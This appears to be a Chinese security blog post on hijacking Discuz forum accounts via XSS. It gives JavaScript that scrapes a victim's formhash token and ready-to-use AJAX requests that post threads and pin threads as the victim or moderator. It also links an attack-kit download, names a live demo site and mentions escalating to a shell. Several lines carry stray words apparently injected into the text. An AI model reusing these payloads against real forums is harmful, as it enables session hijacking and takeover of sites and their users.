Discuz xss劫持发帖,置顶帖子等

貌似zone里面有个discuz 如何post 发帖的帖子 http://www.wooyun.org/bugs/wooyun-2010-015312php

正好看到个dz xss案例  就研究了下html

熟悉discuz的都知道,formhash是一种相似验证码的东西,用来防止从咱们网站外部提交数据,但不须要咱们手动输入,它在页面打开时就已经生成了,存在一须要提交数据用到的地方的隐藏input里(好比登陆、发布文章)。ajax

咱们来看看这货的生成算法算法

function formhash($specialadd = '') { 
    global $_G; 
    $hashadd = defined('IN_ADMINCP') ? 'Only For Discuz! Admin Control Panel' : '';
    return substr(md5(substr($_G['timestamp'], 0, -7).$_G
    ['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8);
}

时间戳前3位,大概是 100多天的样子,也就是说这货对于同一人来讲 100 天内是不变的.shell

便可简单获取目标的formhash(算法比较傻逼=.=)dom

function getHash() {
    for(var i=0; i<document.links.length; i++) {
        if(document.links[i].href.indexOf("action=logout&formhash=")>0) {
            hash=document.links[i].href;
            hash=hash.substr(hash.length-8,hash.length);
            break;
        }
    }
}

补充:0x_Jin 给出的另外一种获取代码xss

function hash(){
    var links=document.links,forms=document.forms;
    for(i in links){
        var ref=links[i].href||'';
        if(ref.indexOf('action=logout&formhash=')>0){
            return ref.substr(ref.length-8,ref.length);
        }
    }
    for(f in forms){
        if(forms[f].formhash){
            return forms[f].formhash.value;
        }
    }
}

接下来的事情就简单了 只要抓取各类包 加上formhash 便可中出post

例如 (使用了一个兼容的ajax库  详见附件)测试

劫持发帖网站

x.post("forum.php?mod=post&action=newthread&fid
=2&extra=&topicsubmit=yes","formhash="+hash+"&posttime=
1353989838&wysiwyg=1&subject=title&message=
aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&re
plycredit_times=1&replycredit_membertimes=1&replycredit_random=10
0&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardflo
or=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1");

置顶指定帖子

x.post("forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmi
t=yes&infloat=yes&inajax=1","frommodcp=&formhash="+hash+"&fid=2&red
irect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=
stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&
highlight_color=0&highlight_style[1]=0&highlight_style
[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");

演示视频:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html

高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688

附件下载:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar

演示网址:www.zqgd18.com

ps1:zone里面可能排版不太好 有性趣下载附件吧

ps2:其他动做读者能够抓包自行测试之

ps3:若是管理员同时登录了后台还能够权限提高或者直接getshell